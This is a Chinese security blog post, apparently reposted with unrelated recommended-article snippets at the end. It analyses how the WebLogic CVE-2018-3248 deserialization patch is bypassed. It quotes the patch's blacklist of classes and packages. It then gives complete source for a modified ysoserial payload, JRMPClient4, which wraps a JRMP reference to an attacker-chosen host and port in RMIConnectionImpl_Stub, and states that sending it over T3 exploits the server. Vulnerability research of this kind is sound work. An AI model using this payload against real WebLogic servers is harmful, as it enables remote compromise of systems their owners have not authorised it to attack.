Java安全之Weblogic 2018-3248分析

Java安全之Weblogic2018-3248分析0x00前言基于前面的分析,后面的还是主要看补丁的绕过方式,这里就来简单的记录一下。0x01补丁分析先来看看补丁细节private

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之Weblogic 2018-3248分析

0x00 前言

基于前面的分析,后面的还是主要看补丁的绕过方式,这里就来简单的记录一下。

0x01 补丁分析

先来看看补丁细节

private static final String[] DEFAULT_BLACKLIST_PACKAGES = 
{ "org.apache.commons.collections.functors",
 "com.sun.org.apache.xalan.internal.xsltc.trax",
 "javassist", "java.rmi.activation", 
 "sun.rmi.server" };

private static final String[] DEFAULT_BLACKLIST_CLASSES = 
{ "org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler",
"org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", 
"java.rmi.server.RemoteObjectInvocationHandler" };

对比上一个补丁添加了如下内容:

java.rmi.activation.*
sun.rmi.server.*
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject

0x02 绕过分析

新的补丁添加了新的内容,将RemoteObjectInvocationHandlerUnicastRemoteObject都拉入了黑名单。

但是在新的漏洞给出的绕过方式是使用其他类替代RemoteObjectInvocationHandler类即可完成绕过。

绕过条件:

  1. 不在黑名单内(废话)
  2. 继承java.rmi.server.RemoteObject的子类

先来查看RemoteObjectInvocationHandler的继承。

Java安全之Weblogic 2018-3248分析

该类继承RemoteObject类,CTRL+H查找RemoteObject的子类。

Java安全之Weblogic 2018-3248分析

发现子类还是挺多的。下面更改一下yso内容即可绕过。

改动yso

package ysoserial.payloads;


import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

import javax.management.remote.rmi.RMIConnectionImpl_Stub;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;


@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient4 extends PayloadRunner implements ObjectPayload<Object> {

   
    public Object getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
        return stub;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient4.class.getClassLoader());
        PayloadRunner.run(JRMPClient4.class, args);
    }
}

改完yso重写打包,将生成的payload使用T3协议传输过去即可绕过,利用成功。

参考文章

https://www.cnblogs.com/afanti/p/10256840.html

https://xz.aliyun.com/t/2479#toc-2

0x03 结尾

本篇内容较短,其实还是因为找不到补丁,分析起来没啥意思。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119887.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • make menuconfig问题[通俗易懂]

    make menuconfig问题[通俗易懂]1.终端出现coredump问题解决办法1.1没有进入menuconfig界面,终端命令没有对齐显示,并无法输入命令sudoapt-getinstalllibncurses*1.2进入menuconfig界面后,显示乱码,周边有一圈圈@或者q之类的乱码符号makedistclean然后就可以了…

    2022年6月10日
    44
  • 门户网站开发[通俗易懂]

    门户网站开发[通俗易懂]最近正在考虑开发一个门户网站。领导要求比较急,所以有的东西就得暂停一下了。关键是我个人也想早点做出来,做出来了有中成就感,感觉好极了。开发计划步骤:1.需求分析。在这个时候领导还是打算网站外包出去的,采取资源互换形式,即不花钱那种,我就开始认真的写需求,尽可能的详细精确,因为我也开发过网站,对于一个开发者来说一个好的需求是非常非常重要的。但是人家想让我们出一部分钱,领导不愿意了

    2022年9月26日
    0
  • 机器学习常见问题

    机器学习常见问题

    2021年11月19日
    53
  • 启发式算法(Heuristic Algorithm)

    启发式算法(Heuristic Algorithm)启发式算法是一种技术,这种技术使得在可接受的计算成本内去搜寻最好的解,但不一定能保证所得的可行解和最优解,甚至在多数情况下,无法阐述所得解同最优解的近似程度。Heuristics可以等同于:实际经验

    2022年7月2日
    27
  • TCP和UDP协议的区别_tcp和ip是什么意思

    TCP和UDP协议的区别_tcp和ip是什么意思最近在学习WebSocket,了解到它是采用TCP来实现异步通信,全双工.与Http不同的是,Http采用无状态,应答式的响应.因此就想知道TCP,TCP/IP,HTTP,Socket之间到底是有怎样的关联关系和区别,以及全双工通信和半双工通信是如何实现的在网络层.在计算机网络里,有两种常见的参考模型即:OSI参考模型和TCP/IP参考模型。由此可见TCP本身是传输层的协议,…

    2022年9月16日
    0
  • 机器学习方法:回归(三):最小角回归Least Angle Regression(LARS),forward stagewise selection

    机器学习方法:回归(三):最小角回归Least Angle Regression(LARS),forward stagewise selection前面两篇回归(一)(二)复习了线性回归,以及L1与L2正则——lasso和ridgeregression。特别描述了lasso的稀疏性是如何产生的。在本篇中介绍一下和lasso可以产生差不多效果的两种方法:stagewise和LARS

    2022年6月29日
    40

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号